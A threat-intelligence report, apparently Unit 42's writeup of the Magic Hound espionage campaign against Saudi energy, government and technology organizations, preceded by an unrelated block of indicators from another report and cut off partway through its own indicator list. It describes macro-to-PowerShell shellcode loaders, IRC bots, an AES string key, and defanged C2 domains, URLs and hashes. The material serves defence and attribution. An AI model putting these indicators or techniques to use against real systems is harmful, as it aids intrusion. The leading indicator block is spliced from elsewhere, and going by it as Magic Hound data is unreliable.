dyndownload.serveirc[.]com e.muravej[.]ua 9/13 email-attachments[.]ru file-attachments[.]ru freefiles.myftp[.]biz getmyfile.webhop[.]me googlefiles.serveftp[.]com grom56.ddns[.]net grom90.ddns[.]net hrome-update[.]ru hrome-updater[.]ru loaderskypetm.webhop[.]me loadsoulip.serveftp[.]com mail.file-attachments[.]ru mails.redirectme[.]net mars-ru[.]ru msrestore[.]ru oficialsite.webhop[.]me parkingdoma.webhop[.]me poligjong.webhop[.]me polistar.ddns[.]net proxy-spread[.]ru rms.admin-ru[.]ru samotsvety.com[.]ua skypeemocache[.]ru skypeupdate[.]ru spbpool.ddns[.]net spread-service[.]ru spread-ss[.]ru spread-updates[.]ru stor.tainfo.com[.]ua tortilla.sytes[.]net ukrnet.serveftp[.]com ukrway.galaktion[.]ru umachka[.]ua update-service[.]net updatesp.ddns[.]net updateviber.sytes[.]net webclidie.webhop[.]me win-restore[.]ru winloaded.sytes[.]net winupdateloader[.]ru www.file-attachments[.]ru www.win-restore[.]ru yfperoliz.webhop[.]me URLs: http://childrights.in[.]ua/public/manager/img/scrdll.ini http://prestigeclub.frantov[.]com.ua/press-center/press/chrome-xvnc-v5517.exe http://umachka[.]ua/screen/dk.tmp http://umachka[.]ua/screen/screen.tmp http://viberload.ddns[.]net/viber.nls Hashes: Samples using custom developed tools: 002aff376ec452ec35ae2930dfbb51bd40229c258611d19b86863c3b0d156705 08e69f21c3c60a4a9b78f580c3a55d4cfb74729705b5b7d01c1aecfd58fc49e6 0c47cf984afe87a14d0d4c94557864ed19b4cb52783e49ce96ebf9c2f8b52d27 0dc1010c3d3766158e2347d10fc78d9223c6e0e3a44aa8a76622aeff7d429ab9 0f745512940e0efd8f09c6d862571cba2b98fac9a9f7cf30dedcc08ace43a494 145dab86a43835bb37734c16756d6d64d8e5ac6b87c491c57385e27b564136b8 222e85e6d07bdc3a2141cdd582d3f2ed4b1ce5285731cc3f54e6202a13737f8d 2f2b26f2f7d164ea1f529edbc3cb8a1063b39121dad4dd19d8ee4bbbaf25ed37 3242183b1f0176a2e3cfb6bfef96b9d55c5a59ea9614dbde4ef89979336b5a5d 3773ddd462b01f9272656f3150f2c3de19e77199cf5fac1f44287d11593614f9 37c78ee7826d63bb9219de594ed6693f18da5db60e3cbc86795bd10b296f12ac 3e5b1116b2dfd99652a001968a05fc962974931a0596153ab0dea8e4a9982f89 400f53a89d08d47f608e1288d9873bf8d421fc7cd642c5e821674f38e07a1501 598c55b89e819b23eac34547ad02e5cd59e1b8fcb23b5063a251d8e8fae8b824 5b22ace98b57ed19d815c49983c96a3c6ff0b2701e8167d4422c6990982abcf9 5ec8b7ca4461720bd69fb49b3f6cae637d8ac3bbd675da938bc5a84e9b73b395 840b3d4cc95dbf311f792a9f50137056deb66bfdbb55eb9f54ff381a0df65656 90ba0f95896736b799f8651ef0600d4fa85c6c3e056e54eab5bb216327912edd 97ebd7bfad63b36b4572132f6ece359ff9991f269048c0b145411699bfe3dc34 9a1fd88970da3809f45cef00360d1e54ea11a70035c277c130404a67371e142d 9cb64d3242d2b591bd2ff13b1aadef2e6b4bf9147f4a0926613b7c9343feb312 a46508ec9e48c256261b2d1914532a36ac7da093253320135d77581051751b75 10/13 a7e27ff0695a4bdf58c584f48664acd3a385ccebf3a542fdd6d7383f414aa83a a804beddd22bb76ea207a9607ed5c888f2f640cbd9ed9a32942fcd0b8a25c4d5 ae5ab2e887a9b46ea7819b7ebbb8163028e66882c97e75b0698dc3a69a69d7da b2fb7d2977f42698ea92d1576fdd4da7ad7bb34f52a63e4066f158a4b1ffb875 b9434e5a14159c49af2d1a5a11d570f195797d6b17aa560c3dde4a5b3486bf2a be2be662cc821a924d5641422dd1116e99188c6923da092ca3f0f8f862bd2d2d d01df47b6187631c9a93bdad1298439ab1a1c5529b3319f3614b6ec2455e5726 d1ba365e93ff0a4f3a2cb1d657568e583e3fbd7dbb1c2c52e28f16480324e3bb ddfc6bb4819527b2424d6e1a84f04b67adad79401e39efbffba5b7d727e732f0 df434f54802a6814628f30cae335c302bae7085c4e8314d71a41a47d9c410c39 e24715900aa5c9de807b0c8f6ba8015683af26c42c66f94bee38e50a34e034c4 f2296bcb6be68dfb330baec2091fb11a42a51928ba057164213580e6ff0e1126 Samples using bundled commodity tools: 026be8a873560f1496c6961f6e36c312bdda01beacb17c4b744f35ee1923d061 03c943f5cba11b09b9c3afa0705d4a027e5a9d81b299711740cc5aedfe4b4aa1 03e5e99cc8280de4663c4b65bfd26782d4975258808a63a4b20bc068008df7f5 059e40ba91b2b2d827c200476fcbd0fad0d43ab198d0c206c996777d27e6de65 0669e61e51cf43daa431d52b5461c90bdce1b1bee03b087e4406c30264dcb9a4 068b9a9194efacc16cf142814e79b7041b6ab3d671a95bb508dbd30061c324aa 0b4a90b823a581311c4acb59f35e32f81f70ca16a2538f54f4dbe03db93350df 0b5316d723d1ebbec9aba0c9ff6761050305d644c3eeb5291b4e2c4de9e5fa15 0b8d59312699739b6e6cb7aeb0f22a2eaebbb0fd898a97ef9b83e8d8e9ce67a0 0dd13d2d0edbcf9d1825c2bfc165876ada2e4d04e2981a0003cb6503fad2287b 0ddb7867e31f3f30cd1cfe74393f8ac5bbdc61538278de9219a49345f0d3af7f 13fed3accac4f38f28e606b110a3b7924d9c7a1a911f8c0613d0bb791e715267 151cf4c83722ba171ae42640e5e13af67ca06ee0a06a74afa53931acf6ac1506 17006d77cc1459aa3d70e4e9377edb2547a7446647aa9872c9dd9ad860ed7e39 1ec7e595677038145991c6d84dc7808602142f258c1f90e9486cca0fe531d74f 208dc592111a8221a9c633efc120b890585f9a67ed340cbb5ec9db4cd5e164e4 2124adbee89f2c1cb65896bed26e7ffa8bf0fcbdfeb99a9e751fea9cca7a896b 22e97292671ada8deef4329eb115c52f6f1bc598bcf01a3961f1c35a2230a013 259a78122ef51ae503059143bf36941fc6090be83213d196ba3051ba36a0b2a1 26564c23530dd14e0042e074f4178a5b2ad6fc8f51f10138fc39941a6303bff9 29453fa1772b6d7d33842d6abbe0cb55c4a4b66a00f43284c8724d7c16749a7d 2a072d9ce63a94d2530cf9f18a232c6a09f6c7bdff9dbe27faceef53604145ea 2c02d3d3fadd76f9d21f5c093459ddc0045c94f17679269eb7a2990a1a88cb42 2d55000bb5cb9e3e1f137810c2e1eb899f68c40e4a6f6307f226c7b8af208abd 2ded2f3b5b5b6155ce818893c67887cbfa8b539be6c983e314ccf2177552da20 2e89436b355550ceb361fac1b03b78b71eda11d25f26223ac5c8c34ed8972a05 32b0e6394b110860371da5541946a6dcc85358a3951eddc86fdaf5794527c150 33934fcfae5760316b3f40e013cbb03d8086f8c30f9a4ba9bed3f9486a530796 34d86602882e86f8aaaeb7513126c8579a4489f2be31c279188e2f2ca8a0e141 390162dae62a0347e35cf5dad093cfc2f7d4ded62fba9d2df7af6133feb41ee0 3ef8602579c6b145fbaafc8970b4c9a6e7bebd11eb5e37eecaa67b4572c6038b 420acd7e8598fe994b59bf5d30f89e1c11b36cbef464a4786694cf9eada8dd4c 42b4c39179f76ea9eb5835b55a3cf4d8dbb29d42ee0622ad2e89ca48d01e8988 42eed03907c9dfa0e566fbe5968cdb5a1b7b5e18521f7327185ed2208c6c29b4 46a39da996b01e26ddd71d51c9704de2aa641cd3443f6fe0e5c485f1cd9fa65d 47d929c69bfd8d8efb9c280eabec2f73d4bddf1c3c30120c3fb6334623469888 505ef8cbc1271ce32f0c473468d75a1aba5073c37b2e6b49293ddc9efcb4ac96 5230453eeb98c5a183129ed8b918b429e96020887302ba30941c408108a1ab84 5363220b532d7da378b338e839a501ae5c006cc03c8b2d3627c480d64deb1221 558f33d478091993e5b5921604f8c3873efc87f551fddf61612b5c64d5b610f6 55c76f4f93f9e155fbb6a28447f97c1ccda0081061dc3cb9973d42c1686964b7 56c8246819f7de5cba91001793831441d4ce998ccb8237cb96c9f52e88ea384b 59bddb5ccdc1c37c838c8a3d96a865a28c75b5807415fd931eaff0af931d1820 5ac627f8964d3b9cad69f21e3b8f27305f1f68f49e4f4fae2c73949a04b32692 5ccc76ae1cdf668ba7f89c6cbd0bad44f148cbee736320ead237262ba170ffba 5cd4401c1dae9b9ecd75c96ab29dc64ce40bef3acc6faf7c001ff98ebd3b3413 5cd72eaf555813f1ee187def594584f5cfc6a5e83086f35e281327b5210adffb 5f8293eda9fb40684caddf576eba6c81f3a06911ca9e4ecf84ede3b2891cff5e 6c258151c593268c13c252d8f275192a6f7a74d5de5754f2cf20fb94be7ee6ea 0458e168baa4fa5942892065925ac82b12245551b539d54c2884b3a21c2699d8 877f1de209eb9d8b2a20a76f8773d12e5a1fcde4148868c7b73added392f62f6 29c728a169c5d18298e77db161dd5d2f6396ceca9ee7849b63ff8a8bc11f911e 98e092b7bfc3bbdaeb82e05de14ba5835c6ac626c17de9eef2049796a031dd10 27e08fb90ada2fd8ce6b6149786edd3b814dd0324257ebd919ed66ada0334b21 9f651ae6ea538238748614a7f86fe2b0f76e881d6c38da581f284e4b6f79b0ca f47115ea58615781e56dcac673c19edf7ce00defd7ada709ae97b0708d3eac1e b80719854f8744ba62e9f0e774c09e2e2ed79dd37f9f94ba3ed05ec8507d55e6 467f04914a1e6093bdaf5c28884bf95ec738234033b3292d289a0799de196d49 5c47d18b3f0e0274c6a66b2eab27d47c73a0105c263d41c6473aba9a28d0a4ba 01c5729ac1ae3928053c085fd616323a3715863ab3d7e9b8106c09e24df34183 5b6a691cf8faf238b27861941a1b667d889889cc9711a3e561403d6a6ed292c9 e2688f72cc7ae836be19e765e39318873554ee194a09945eb3f3805d04f256ca 11/13 9f0228e3d1577ffb2533584c2b1d87ebee0c0d490f981e61d18bb27ab02e52cb 2617f9301869304b88d8a3a4f7b2eab6b0edf264cc1a28b99f5685959242ec39 f3107a5a00f36e12be7cc2e37c35903ef855b8043492af374ea918385821443c 63fcfab8e9b97d9aec3d6f243003ea3e2bf955523f08e6f1c0d1e28c839ee3d5 05cbe01b1125897e0e982c587a10a72f4df795b844a4a2c4cec44aee7f30ce94 5a7da102c11960b9651650143a4a08ae4ce97d68dff999961f1ffc792531afeb df6112e6bad4125b80b8829c13a2ca523bb82cf303cf531389d8795e7512c7e6 cfb8216be1a50aa3d425072942ff70f92102d4f4b155ab2cf1e7059244b99d31 e79dbcc8b60da280e53d9cf818eee1de34251e0551b9947bb2b79a31b131417e a73eac15797130c381b5b4a65c3fb1cfc723b1586a1882c981211787bba285a6 3ef3a06605b462ea31b821eb76b1ea0fdf664e17d010c1d5e57284632f339d4b f2355a66af99db5f856ebfcfeb2b9e67e5e83fff9b04cdc09ac0fabb4af556bd ca87eb1a21c6d4ffd782b225b178ba65463f73de6f4c736eb135be5864f556dc 550ee89d5df17f90ba7689d957cd067dcdbe3d957c5369ea28d925e02ccc8ce6 f77d7940c51c2a1eab849dbd77e59c683ebf7820799ef349e7da2583e1aa11ae 2c5d55619d2f56dc5824a4845334e7804d6d306daac1c23bec6f078f30f1c825 7231177a115656041ba4e5b3cf0bf7a547b074f03592351484267e25cda7c899 d5405f99cec0166857274b6c02a7ef52b36274fedb805a17d2089fd24ed133cf 81921b6a7eba39a3f73895a57892ed3a46ab6365ac97d550ca3b9bff46c7a1c2 1eef9f8d7d3099b87be7ac25121f9d2ccacfb5ccf02b508fb2036b6e059c525f 5255061c3600df1a94b376fca40f3ccb69d1cb6dd42aa744b20a643c7292d20c b5199a302f053e5e9cb7e82cc1e502b5edbf04699c2839acb514592f2eeabb13 5fb7f6f953be3b65d88bd86d1391ebc9f88fc10b0ef23541463ebf5b157f695c 6016cf9898d74e2e9030be7c987964d817ba28ad2253d1da54c81a1bf49db836 621e55421dffae981e3e933c65626314d5610c7c08f76f83a3d07f0ec6c36e2d 6ccc24971073d24d90c4cbaf83dfbae2969cbf527e319c7ee9a4babcbe88e456 6f8da9180eebe02ba35317cb8aee5c8df6ac29795af70eb9430c3588d457aad6 71c5b899a5187baeb8f605ca39ca56bf05a63025a8f9f84c45590d8345e5d349 725b7d92ed66be160f2e04395008a65c72814d5ddf842d9778396f6c6679d85e 72d4b780a90ede7ea152f5da0973965cab31d2813fa8c2fe0e1cb611f5ca257e 73670d06851f588c7df44dc478f49883406697c48c618438e0f249b7a916552e 74e017853fbc85ee77ca7476cd25423815602aaaa02b29e0003c95c9551b8890 75d2367dc79d9f8aed165729df90ed5d28fefe267778dbe4d3d74aafa75d66e0 7a5a1c6ea0c2f017df9f06975c93a356cac20b19031fcde96136fa5881e5ef3a 7adb049e0b49312aea904c70e16d0e7f03d01aae4bf8ac867e8219ced4e6e057 7bfa85bec239b6c4419b2d57149c5960263c80e493f888d03ceaaa3f945b1b25 7f324b658f587b3b27921ebeba5ac25aebd669b33e6801fa9581de8c2eb0df2e 7fee970748eb83045e36911dafdaee0d4069ebe72c059cc7de3d65539012c2e9 823793a37d748ffe708864c16c853c67a5db812712481da1d24790b455163940 8512aabfa0175684bdbb77481d6b272b63dbc4249b04a44e1003b7d8fdea0a89 86c81f03cf7d8f8af38c2559dbf506cccdc25579f3b29fb574f823a67f99a0a3 88ae7e60b9dd57fc6b2d667ce33fb29c0f75d37eb7c837ccf56cb7994386d5ef 8b50e3ca06a22d0be6a71232b320137c776f80ac3f2c81b7440b43854b8a3bf0 8bd40e7fe6bbd4d5810db2c142186bb58da445a132fb6f9ff01c46947a532244 8c9d690e765c7656152ad980edd2200b81d2afceef882ed81287fe212249f845 8d38726d674279705fe06b4b45bbbaef10756c547d560cea6998e23dba09f80c 8db47439685edc683765abb5e6d7d0d05479bf9ee164992db9e8ce97fe43ee2f 95de2e16f1b05d1b45b1d182c1503568c2e5fd4a81ac52fe1bc9e881d1a272b1 95e3204228341852b7c97f357f799e7ec9688abe1262436b569e56397f1fd864 98caf00760d772598386eb8d4f26caf92fb891915ac08da6bf830be5e45278d3 99c9440a84cdc428ce140de901452eb334faec49f1f6258acdde1ddcbb34376e 9a8776e4ae38cf529bab28947b31ade84301262b7996dc37ec47afa4fb4cf6e1 9beb1d2a03ff2d4c15913de0f87b72074155b44df791bd967dac8155e97a0e06 9c8d518fbbc8cbb25fa309f5396efa5749e57a3b0158779404c8d3e92baf6596 a064a28e5e7409a96bba93fc57f44cadc3492bb0f49792c89c973e30b0f5d498 a194b47043356fa365d98a5f7c582b6f87fac90acf0f469ed3651cfe2fd7b2c9 a21dfb8e8b7c8dfbeeb4d72e6ef1f22c667b8968b3a3b1dcce99f44faab05903 a2e0fe2d385dabcdfb024100216d259ddd1fa9907e982d297846fd29b8d4d415 a48ad33695a44de887bba8f2f3174fd8fb01a46a19e3ec9078b0118647ccf599 a595da9a2fa58d4f8be0bfbcf7f4c950435ff5289dd1ccf2c65eec73a0afe97f a972ad0ddc00d5c04d9fe26f1748e12008efdd6524c9d2ea4e6c2d3e42d82b7b aa860d405746401ae4155485326fdeb39718832c77c73540d48f4fbb8e596215 ab6832a4432b4bdaec0706f7b00a369c48175eac9abc3e537032b1f5d26a993b ada2f0703614b3447d427827777af5d4ee9ffe9179498970326926751a4f8d65 b16d317c11228bd3573126a0e1bc0bbf35d84a4a1f47dfb06b70634a21fd9823 b3665548cc0f2fce3593fb7139f49588faa1d327b6d23feb564ca4194053ae8a b5578c48a11533871ae91e6d5632aafc25d3976c0626d62abab306663566d024 b67a6f87fc3fd7c5c3666acac5918c8c08a53ab6a966f4d1daf38105a566ede1 b6abc8ab631dcf52e028ab26dbe3bb94022d69193c0acc8642cbd6329cbb23ef b7e117eb342b0d450095805073326989c792bf5ccbbdcd5f4a9ace50e517412e bb14abc9b0798c7756a6ed887308a3e6210cc08a5149dc1360fdd1f5bca27cca bdadb319f071f02462d107380102b669e407bb2a0b20e77a9a8a5726b4cbbc4b bf2383cfbee4cbb0bda2614839454ab1724c9bbfff8b4b48e0f48579ae220c10 bf52b44168de1855d83186163a2d5f29e488ddafdfd5447e211aec4a769cf74a c0d5cf7a0035deda5646aaf520b3ff632aa6be76ddbc88f38ddc11e77ffb40b4 c1a82a788df7418712664138c0fdb05232036a27ab0998479d60c656998849f1 c63a523834ab59ab5621a0acb156a9b901befe806044642fe5fec8a0ba545e70 12/13 d05d3f3582e13eaf5f39d7143ca1a4b1367cc5267bf9958a15e27cf53e059518 d0e456cff03c2483ded9a0f8c1b99f9fefb6ba47dcaf949dae27abe940ee20e6 d8a01f69840c07ace6ae33e2f76e832c22d4513c07e252b6730b6de51c2e4385 dada74663e3e29ee26bfd03a888f0bda9fc81e148511fa98f73f8e8a915933cc db3ffcbf136e0268ec66f28b30fa8ba350f74e02e8e737e61cc6ef8d8258027e dd26b85b6568595b1d2bbc47ce47d071ede75665fbd779d637b74663ead5539e df9038660164623a827a8119d4cb3d71d0a5288b12bdfdd32c72769bf90a9ea0 dfed16e9184a86e6fcd17a98f127410840d058db667e9975b43add100c33122e e0063d2524a89159cf5da12661225fbb27725bbd72acd9497b7207ecf2f3aeb6 e00c55ddda9cbb82fb47924fafdf40c3394dc1127d9901c71a69ef3ef664b817 e14a51d69211948163ab20b0cc68adf410bb821f2890f55d2d202c745f4ec1b8 e2e3f243bbcad666852e64202d35f6dd88c58f5d24435d92975697b0efa8a775 e37e25739e8bc4620d9d37d8f6b400cd82c85b89d206436ba35930ed96db6eb0 e55b5ede808b6d491f18737d6a1cf34b5178f02e9ea01d7cff31a449888dbd73 ed28d9207acac2afff817eaa56d1599422e23946dffa4f8bade376d52a6af7d4 eda0853e814ee31a66c3b42af45cd66019ffd61eac30e97bd34c27d79253a1bb f1b3e58d060803b0ff6008386bab47fb8099ac75ee74f385ac34340a28bf716e f2091f71227180d74ba1ba4607635e623553b1826314dca91cb31839eb00c4ea f214d55ccb5db5edbaafe7d40b240c79f04c70d441adee01ef438f776eb37037 f571ddc894915dee136cf24731ff3d79fe4f811b112d122a34a128628cb43c4a f7676d2a28992a382475af2ae0abca4794e1397ef3327f30f7d4cbdbc2ca0a68 f8e20894c8c18d79e80b431008aa8bef46cc10a355a4934f9cc40ffd637b8890 fa1bf7565352099b74624c8beeff6620411e1efe00e54f8b4190f69e243d5811 fa784f69265ebe5e150cf5956a40d86335d1a5edc57fffcc7ce6eedc591c2751 13/13 Magic Hound Campaign Attacks Saudi Targets researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/ By Bryan Lee and Robert Falcone 2/16/2017 Unit 42 has discovered a persistent attack campaign operating primarily in the Middle East dating back to at least mid-2016 which we have named Magic Hound. This appears to be an attack campaign focused on espionage. Based upon our visibility it has primarily targeted organizations in the energy, government, and technology sectors that are either based or have business interests in Saudi Arabia. The adversaries appear to have evolved their tactics and techniques throughout the tracked time-period, iterating through a diverse toolset across different waves of attacks. Link analysis of infrastructure and tools also revealed a potential relationship between Magic Hound and the adversary group called Rocket Kitten (AKA Operation Saffron Rose, Ajax Security Team, Operation Woolen-Goldfish) as well as an older attack campaign called Newscasters. Artifacts of this campaign was also recently published by Secureworks CTU. We were able to collect over fifty samples of the tools used by the Magic Hound campaign using the AutoFocus threat intelligence tool. The earliest malware sample we were able to collect had a compile timestamp in May 2016. The samples themselves ranged from IRC bots, an open source Python remote access tool, malicious macros, and others. It is believed the use of specific tools may have coincided with specific attack waves by this adversary, with the most recent attacks using weaponized Microsoft Office documents with malicious macros. Due to the large amount of data collected, and limitations on attack telemetry, this blog will focus primarily on the most recent attacks occurring in the latter half of 2016. ATTACK DETAILS The samples initially collected and associated with Magic Hound were Microsoft Word and Excel documents containing embedded malicious macros. We were able to expand our data set by pivoting on infrastructure and tool behavior, which uncovered additional types of tools in use by Magic Hound, such as regular portable executable (PE) payloads, PE files compiled in .NET Framework, various forms of IRC bots, and an open source file-less Python remote access tool called Pupy. The weaponized Office documents were found to be hosted either on what appeared to be compromised legitimate websites, or on websites using domain names similar to legitimate domain names in appearance. The two legitimate websites we were able to identify were owned by organizations in the government and energy sectors. Based on the existence of these malicious files on the legitimate websites, it is highly probable that the websites had already been compromised in some fashion. At the time of investigation, the files had already been removed from the websites. The two other delivery sites were ntg-sa[.]com, which may be trying to spoof a Saudi based information and communication technology conglomerate and mol.com-ho[.]me, which may be trying to spoof the Ministry of Labor. A third delivery site was identified at its.com-ho[.]me which may appear to be a benign domain. Several of these documents were also found on a seemingly unrelated, but benign-looking domain, briefl[.]ink. It is highly likely the adversary then used spear-phishing attacks containing links to these malicious documents as a delivery mechanism. We were ultimately able to identify multiple organizations in the government, energy, and technology sectors targeted by Magic Hound. The weaponized documents themselves all contained malicious macros which were designed to call Windows PowerShell to retrieve additional tools. A handful of lures with different themes were used repeatedly with variations throughout the eighteen collected documents. They ranged from documents masquerading as official Saudi government forms to a holiday greetings card. The forms masquerading as official government documents specifically used imagery from the Ministry of Health and the Ministry of Commerce claiming to be mandatory forms that required macros to be enabled. Examples of the documents can be seen below: 1/19 2/19 INFRASTRUCTURE Analysis of the weaponized documents revealed some peculiarities right away. The majority of documents used the name gerry knight for the author field in the document metadata, and the embedded macros largely used direct IP connections to command and control (C2) servers rather than using domain names. These C2 servers also appeared to lack any relationships to each other and were hosted on a variety of VPS providers. Two of the Word documents using the gerry knight author name however were found to be communicating to C2 servers on two specific domains, www1.chrome-up[.]date and www3.chrome-up[.]date. Using these domains as pivot points, we were able to expand our data set. As seen below, the relational analysis proved to be quite fruitful: 3/19 Figure 1 Overview of relationships We rapidly discovered a different set of tools communicating to the exact same C2 servers as those two Word documents, in addition to other tools communicating to other subdomain variations of chrome-up[.]date as seen in the following graphic: 4/19 Figure 2 Command and control overlaps From there, we were able to map out a large infrastructure separating out into four categories of tools: downloaders, droppers, loaders, and payloads. What initially appeared as a disparate and segregated attack campaign appeared very rapidly to be a persistent and prolonged attack campaign with very specific goals in mind. In total, we were able to collect over fifty different samples via infrastructure reuse, behavioral matching, and the reuse of a specific file for maintaining persistence. These tools included Microsoft Office documents, portable executables (PE), .NET Framework PE files, Meterpreter, IRC bots, an open sourced Meterpreter module called Magic Unicorn, and an open sourced Python RAT called Pupy. Interestingly as we continued to expand and pivot in our data set, one of the C2 IPs used by an IRC bot payload from Magic Hound was found to be the same IP used to deliver a different IRC bot called MPK. Figure 3 Rocket Kitten and Magic Hound infrastructure overlap The MPK bot is not publicly available and had previously been attributed to an adversary group called Rocket Kitten which has often been thought to be a state sponsored adversary operating in the Middle East region. Although the likelihood of two different adversaries focused on espionage operating in the same geographical region using one specific IP and not being related somehow is fairly slim, due to limited telemetry, we lack additional corroborating evidence of a conclusive relationship. MAGIC HOUND TOOLSET The Magic Hound attacks did not rely on exploit code to compromise targeted systems, instead relying on executables and Microsoft Office documents, specifically Excel and Word 5/19 documents containing malicious macros. During our analysis, we were able to determine the ultimate payload for several of these attacks. One payload was a Python based open source remote administration tool (RAT) called Pupy. A second payload was an IRC bot we have named MagicHound.Leash. We have also seen this group use the Magic Unicorn module to generate a PowerShell script to deliver a shellcode-based payload. While we have not been able to obtain a secondary payload from the Unicorn generated PowerShell script, we believe that this group uses the script to deliver Metasploit s Meterpreter as a potential payload as well. We have categorized the custom tools in use by the Magic Hound campaign into five categories, with corresponding names in Table 1. Additional details for these tools may be found in the appendix. TYPE NAME Dropper MagicHound.DropIt Executable Loader MagicHound.Fetch Document Loader MagicHound.Rollover Downloader MagicHound.Retriever IRC Bot MagicHound.Leash Table 1 Types of MagicHound tools and their Corresponding Names MAGICHOUND.ROLLOVER The Magic Hound campaign used Word and Excel documents containing malicious macros as a delivery method, specifically attempting to load either the Pupy RAT or meterpreter which we have called MagicHound.Rollover. The malicious macros were all designed to use Windows PowerShell to download a shellcode-based payload from a remote server. We discovered two different techniques used in the PowerShell scripts, the first being a straightforward execute command of a string retrieved from the remote server. The second technique appeared to be from a tool called Magic Unicorn, an open source module for meterpreter. Specifically, we discovered code in the PowerShell script that was a match for code in Magic Unicorn containing the comment one line shellcode injection with native x86 shellcode MAGICHOUND.FETCH In addition to loading payloads using macros within delivery documents, we observed the Magic Hound campaign using executables to load secondary payloads from a remote server. Both a custom developed loader, which we have named MagicHound.Fetch, as well as the default loader that comes with Pupy were found to be in use. The Fetch loader allowed us to use attributes within the loader to uncover more tools used by this group, which included a backdoor and an IRC bot. Fetch first attempts to create persistent access to the targeted host then retrieve a secondary payload from a remote server. To set up persistence, the loader writes a file to c:\temp\rr.exe and executes it with specific command line arguments to create auto run registry keys. All Fetch samples drop the same exact executable to set up persistence. Many of the Fetch samples we analyzed attempted to obfuscate their functionality by encrypting their embedded strings using AES. However, they all used the same key agkrhfpdbvhdhrkj . The loader s main goal was to run a PowerShell command to execute shellcode. We found the PowerShell command used by Fetch within the source code of Magic Unicorn, which was also used in the Magic Hound delivery documents. The shellcode executed by this PowerShell is the exact same as in the delivery documents, using code from Metasploit which can obtain additional shellcode to execute using an HTTP request to the following URL: http://www7.chrome-up[.]date/0m5EE We were not able to retrieve the shellcode hosted at this URL. However, as alluded to above, we believe that this adversary used the open source Magic Unicorn tool to load a shellcodebased payload which is likely to be meterpreter. PUPY LOADER The Pupy RAT comes packaged by default with loaders that can run the RAT on a variety of platforms such as Windows, macOS, Linux and Android. We have seen the Magic Hound campaign use both the 32-bit and 64-bit DLL loaders that come with Pupy to infect Windows systems. Analysis of their configurations show that the C2 servers used both fully-qualified domain names and IP addresses. Also, the configurations show the use of the obfs3 (The Threebfuscator) transport, which is an obfuscation method to hide the true TCP-based communications protocol. The obfs3 is used in the Tor project and the specifics of this transport can be found at the Tor Project. MAGICHOUND.DROPIT The Magic Hound campaign was also discovered using a custom dropper tool, which we have named MagicHound.DropIt. The DropIt Trojan we analyzed is an executable that builds another executable by decoding embedded blobs of base64 encoded data and concatenating them together in the correct order. In all of the DropIt samples we collected, the dropper then saves the executable to the user s %TEMP% folder and executes the file. We have also seen Magic Hound using DropIt as a binder, specifically dropping a legitimate decoy executable along with the malicious executable onto the target host. The legitimate decoy executable and the malicious executable are then both executed, but with the malicious file running in the background and the decoy presented to the user. These types of tactics are generally used for evasion and to not trigger and suspicion from the victim. In one example, the decoy executable was a legitimate Flash installer, therefore from the victim perspective, they would experience the expected behavior of a Flash installer. MAGICHOUND.RETRIEVER We observed a DropIt sample installing another Trojan we call MagicHound.Retriever. At a high level, Retriever is a .NET downloader that retrieves secondary payloads using an embedded URL in its configuration as the C2. Retriever uses .NET web services and the SoapHttpClientProtocol class to communicate with its C2 server, which generates HTTP requests resembling the example request in Figure 4. 6/19 Figure 4 Retriever HTTP request sent to its C2 server MAGICHOUND.LEASH The Magic Hound campaign was also discovered deploying an IRC Bot, which we have named MagicHound.Leash. We discovered this connection when we observed a DropIt sample installing a backdoor Trojan that used IRC for its C2 communications. Leash obtains its commands via private messages (PRIVMSG) sent from the adversary who must also be connected to the IRC server. All of its available commands (see Appendix), except for the VER command seen in Figure 5, must be issued by individuals in the IRC channel with nicknames that start with or Figure 5 Lecash bot responding to VER command There are a great deal of similarities between the IRC bot originally discussed in iSight s NEWSCASTER whitepaper and LEASH. iSight s whitepaper provided details on an IRC bot, which some refer to as Parastoo based on the password used to join the IRC channel, as seen in the following network traffic generated when attempting to connect to the C2: Parastoo Trojan MagicHound.Leash USER AS_ # # :des USER AS_a # # :des NICK t__982 NICK Conroy JOIN :#tistani Parastoo JOIN :#kalk Performing a binary diff revealed a 67% similarity between the Leash and Parastoo samples. In addition to sharing significant portions of code, both of the IRC bots require an IRC user nickname to start with either or to run commands on the system. Also, the two bots have similar responses to commands seen in Figure 6 below, which differ slightly from the responses seen generated by Leash. 7/19 Figure 6 Parastoo Trojan responding to commands in similar manner to Leash MPKBot We also found a second IRC bot called MPK using the same IP for its C2 server that a Leash sample was hosted on. This MPK IRC bot is very similar to the MPK Trojan that used a custom C2 communications protocol, as detailed in a whitepaper by CheckPoint regarding a threat group called Rocket Kitten. We believe this version of the MPK Trojan is based on the same code base, as both the IRC version and the one referenced in the white paper have considerable similarities from a behavior standpoint as well as direct code overlap. CONCLUSION The Magic Hound attack campaign is an active and persistent espionage motivated adversary operating in the Middle East region. Organizations in the government, energy, and technology sectors have been targeted by this adversary, specifically organizations based in or doing business in Saudi Arabia. The toolset used by the Magic Hound campaign was an assortment of custom tools, as well as open sourced tools available to the general public. None of the tools we uncovered were found to be exploit-driven, and relied exclusively on social engineering tactics to compromise targets. While we did discover a potential relationship with the Rocket Kitten adversary group, we cannot confirm the extent of that relationship at this time, although we will continue to monitor the activities of Magic Hound. Palo Alto Networks customers are protected via the following: WildFire identification and detection of malicious samples Command and control servers are classified as malicious AutoFocus tags have been created Magic Hound MagicHound DropIt MagicHound Fetch MagicHound Retriever MagicHound Rollover MagicHound Leash MagicHound MPKBot PuPYRAT INDICATORS OF COMPROMISE MagicHound.DropIt SHA256 c21074f340665935e6afe2a972c8d1ab517954e2dd05cc73e5ff0e8df587b99d ea139a73f8ec75ea60dfa87027c7c3ef4ed61b45e1acb5d1650cc54e658984ba da2abdc951e4b2272fea5c8989debd22e26350bab4b4219104bccec5b8a7ff5a 0d3ae682868cb3ff069ec52e1ffc5ef765453fd78e47b6366d96aebb09afd8ab f0ecc4388f0d84501499711681a64a74c5d95e0bb6a2174cbe3744bd5a456396 860f4cd44371a180a99bc16526f54f8b051c420a3df334d05d569d0cdadac3d2 b42b1186211633c2d47f3d815f0371ba234fee2ed0f26e487badc58e1ab81061 4beee6e7aa244335e161fdc05296ea100090c2114b4ff2e782e3ee3e1f936fdf 5e0e09c9860b293c4c9a2382a7392963adc54d6a23440abb9a2d89c50f8fd305 3161f9087d89a2d036ea32741d5a006c6bb279d36ff8d1acde63f2e354f8c502 MagicHound.Fetch PE SHA256 b6c159cad5a867895fd41c103455cebd361fc32d047b573321280b1451bf151c 8/19 6a7537f2cedbf453114cfba086e4746e698713777fb4fa4fc8964247dde741ed 